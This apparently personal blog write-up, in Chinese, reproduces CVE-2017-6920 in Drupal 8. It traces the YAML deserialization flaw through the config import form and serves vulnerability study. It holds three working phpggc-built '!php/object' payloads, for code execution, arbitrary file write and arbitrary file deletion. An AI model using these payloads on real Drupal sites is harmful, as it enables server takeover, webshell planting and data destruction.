前言
本次复现调试环境为ubuntu 16.04
和php5.4
。在这里出现一个小插曲。本次漏洞触发需要用到yaml
,环境配置的时候编译安装yaml
出现错误。最后莫名其妙采用apt-get install php-yaml
安装成功。修改php.ini
中的extension_dir
为该扩展所在目录,然后加上extension=yaml.so
就可以了。最后重启apache,看到phpinfo
中有yaml
扩展,就说明安装成功,如下图:
还有在用phpstorm
调试漏洞的时候,发现几个利用到的文件都不存在。后来发现我采用的远程调试,服务器端使用composer install
安装了需要的包,但是phpstorm
中使用的是下载下来的drupal 8.3.3
源码,没有包含需要用到的包。在本地drupal 8.3.3
源码包中执行composer install
即可。总结一条小经验,后续在源码审计的时候,先不管三七二十一,执行composer install
安装依赖包。
漏洞描述
2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。漏洞触发需要登录后台。
漏洞分析
通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php
文件decode
方法如下图:
可见在yaml_parse
前进行了ini_set('yaml.decode_php', 0);
用户可控制的参数$raw
直接传给了yaml_parse
函数,而在手册上关于yaml_parse
函数有这么一个注意点:
Warning
Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.
也就是说,如果使用了yaml
标志!php/object
,那么这个内容会通过unserialize()
进行处理,设置yaml.decode_php
则可以禁止,这就是为什么补丁增加了这行代码。
看一下调用decode()
方法的地方,core/lib/Drupal/Component/Serialization/Yaml.php
:
在Yaml
类的decode()
方法调用了static::getSerializer()
方法,跟入
可以看到加载了yaml
扩展后就会进入YamlPecl
类,进而调用Yaml::decode()
方法,搜索调用Yaml::decode
并且参数能被控制的地方,在core/modules/config/src/Form/ConfigSingleImportForm.php
的validateForm()
方法:
1 | $data = Yaml::decode($form_state->getValue('import')); |
validateForm()
的调用处在http://172.16.26.132/drupal/admin/config/development/configuration/single/import
,decode()
的参数直接从表单获取,于是通过import
将恶意参数传递进去。
要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal
使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct
以及_wakeup
来定位类,全局搜索可以找到几个可利用的类。
(1)/vendor/symfony/process/Pipes/WindowsPipes.php
中的89行:
通过反序列化这个类可以造成一个任意文件删除。
(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
中第37行:
通过反序列化这个类可以造成写入webshell。
(3)/vendor/guzzlehttp/psr7/src/FnStream.php
中第48行:
通过反序列化这个类可以造成任意无参数函数执行。
漏洞验证
1.远程代码执行
利用phpggc
生成序列化数据:
注意序列化数据中的空字符,需要转换。在这里先把序列化的数据保存到文件,然后利用addslashes
来转换字符。接着拼接YAML_PHP_TAG
即!php/object
,最终生成的字符串如下:
1 | !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\0GuzzleHttp\\HandlerStack\0handler\";s:1:\"1\";s:30:\"\0GuzzleHttp\\HandlerStack\0stack\";a:1:{i:0;a:1:{i:0;s:7:\"phpinfo\";}}s:31:\"\0GuzzleHttp\\HandlerStack\0cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" |
在http://172.16.26.132/drupal/admin/config/development/configuration/single/import
import 序列化后的数据,便可以执行代码
执行结果如下:
2.任意文件写入
看一下phpggc
中有关FileCookieJar
类的部分
转义拼接之后,最后生成的字符串如下:
1 | !php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:34:\"/var/www/htdocs/drupal/phpinfo.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:1;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:20:\"<?php phpinfo(); ?> |
import
之后查看发现,在指定目录下生成了phpinfo.php
文件。
3. 任意文件删除
在phpggc
中没有内置这个类,于是我们按照这个工具的框架来实现一下,方便理解该工具。
在lib/PHPGGC/GadgetChain.php
已经有TYPE_FD
这个类型,代表file_delete
,那么我们直接在lib/PHPGGC/GadgetChain/
注册一个FileDelete
,phpggc
最新版已经存在这个文件。
这个类就可以作为 POP 链拿来使用了
然后在Symfony
目录下创建FD/1
,并创建chain
和gadgets
gadgetchains/Symfony/FD/1/chain.php
的代码如下:
1 |
|
gadgetchains/Symfony/FD/1/gadgets.php
的代码如下:
1 |
|
我们直接生成WindowsPipes
的序列化数据,把文件名作为参数传入,在反序列化的时候自动调用removeFiles()
,实现任意文件删除。
转移拼接之后,最后生成的字符串如下:
1 | !php/object "O:44:\"Symfony\\Component\\Process\\Pipes\\WindowsPipes\":1:{s:51:\"\0Symfony\\Component\\Process\\Pipes\\WindowsPipes\0files\";a:1:{i:0;s:34:\"/var/www/htdocs/drupal/phpinfo.php\";}}" |
import
之后,发现目录下的phpinfo.php
已经被删除了。